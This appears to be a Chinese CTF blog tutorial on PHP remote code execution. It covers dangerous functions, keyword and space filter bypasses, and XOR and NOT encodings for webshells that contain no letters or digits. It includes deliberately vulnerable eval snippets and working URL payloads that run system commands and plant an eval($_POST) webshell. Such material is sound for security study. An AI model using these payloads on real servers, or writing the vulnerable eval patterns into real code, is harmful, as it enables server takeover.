一、RCE的定义
RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。
二、能简单利用达到rce目的那些函数
1.eval()
2.**assert()**断言函数
PHP 5
assert(mixed $assertion, string $description = ?): bool
PHP 7
assert(mixed $assertion, Throwable $exception = ?): bool
assert() 会检查指定的 assertion 并在结果为 false 时采取适当的行动
另外,如果assertion是字符串,它将会被assert()当做PHP代码来执行
3.system()
对某些指令进行执行的函数,比如:ls、cat、whoami、ifconfig等指令
4.passthru()
与system用法基本一致,在system函数被过滤后考虑使用
5.exec()
**因为exec没有回显,所以可以存入文件中,或借助print_r进行输出 **
使用姿势:echo exec("ls",$file);
exec(print_r(system(ls))); //system和print_r 都可以替换为作用相似的函数使用
6.shell_exec
shell_exec与``作用相同,但无回显,需要echo或其他的输出函数使得其回显
三、命令执行绕过
1.过滤cat,flag等关键词
RCE绕过之过滤关键词
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,可以查看
vim:一种编辑器,可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
2.空格绕过
%09(url传递)(tab)
%20(space)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
$IFS
{cat,flag}//花括号
3.过滤分隔符 | & ;
RCE总结_C1yas0的博客-CSDN博客十分详细
关键说一下无回显的绕过方式
1.首先是异或方式
aa='phpinfo()' # 更换成为想要的字符串
for i in aa:
print( hex( int(hex(ord(i)),16) ^ 0xff),end=' ')
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客_绕过正则表达式
例子 : //print_r=(%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)
2.取反绕过
<?php echo urlencode(~'phpinfo');
payload: ?code=(~%8F%97%8F%96%91%99%90)();
例如这道题
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
过滤掉了所有的数字和字母,
在这里,我们不能直接使用eval 因为 eval并不是php函数 所以为我们无法通过变量函数的方法进行调用。
在这里,我们使用 assert 来构造,但由于php版本问题,我们并不能直接构造<?php assert($_POST['a']);>,我们需要调用eval
拼接为 assert(eval($_POST[test]))
<?php error_reporting(0); $a='assert'; $b=urlencode(~$a); echo $b; echo "
"; $c='(eval($_POST[x]))'; $d=urlencode(~$c); echo $d; ?>?code=(
%9E%8C%8C%9A%8D%8B)(%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%87%A2%D6%D6);
然后链接建蚁进行操作
webshell无回显
<?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){
die("giaogiaogiao!!!");
}
else {
eval($cmd);
}
highlight_file(__FILE__)
?>
也是过滤掉字母数字,可是用上题的方法会报错,说明后台还有过滤
对于无字符Webshell,PHP5与PHP7中会存在差异。
(1)在 PHP 5 中,assert()是一个函数,我们可以用=assert;_()这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用)
(2)PHP5中,是不支持($a)()这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')();
进入页面,发现过滤了字母和数字,输入无字符Webshell的类型,对于无参数Webshell构造的方法很多,有取反,异或,自增,闭合反引号构造等,通过将非字母数字的字符经过各种转换,最后能构造出a-z0-9中的任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,从而进行动态执行。
1.编码取反绕过
通过对~'_GET'进行urlencode()编码进行取反,通过反+反=正的形式进行构造。
图中%A0%B8%BA%AB为GET的取反,%93%8C为ls的取反的url编码,图中payload的结果为,执行system(ls)的命令。
?cmd=${%A0%B8%BA%AB}{%ff}(%93%8C);&%ff=system
<?php echo urlencode(~'cat flag.txt');
%9C%9E%8B%DF%99%93%9E%98%D1%8B%87%8B
最后同样将ls改变为cat flag.txt的url取反编码,抓取flag.txt的内容
方法二:
运用闭合方式
使用?>闭合掉原<?,然后使用新的<?内容?>进行重写并使用反引号`配合url编码取反的形式进行命令的执行
因为php都是以<?开头所以我们提前闭合,php短标签,<?=?>相当于<? echo?>,
?><?={${~%A0%B8%BA%AB}{%ff}}
;&%ff=ls
``反引号也就是命令执行,shell_exec的缩写
看到flag.txt
?><?={${~%A0%B8%BA%AB}{%ff}}
;&%ff=cat flag.txt 当前目录
方法三:
使用异或的方式构造
<?php var_dump("`{{{"^"?<>/"); //_GET ?>
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
?cmd=$="`{{{"^"?<>/";${$}_;&_=system&__=ls
然后获取flag就不讲了
php短标签
我们最常见的 PHP 标签就是
<?php ?>
了,但是 PHP 中还有两种短标签,即
<? ?>
和
<?= ?>
。当关键字 “php” 被过滤了之后,此时我们便不能使用
<?php ?>
了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号
;
。
其中,
<? ?>
相当于对
<?php ?>
的替换。而
<?= ?>
则是相当于
<?php echo ... ?>
。例如:
<?='Hello World'?> // 输出 "Hello World"
推荐文件:老生常谈的无字母数字Webshell总结 - 腾讯云开发者社区-腾讯云非常的清晰明白
版权归原作者 偶尔躲躲乌云334 所有, 如有侵权,请联系我们删除。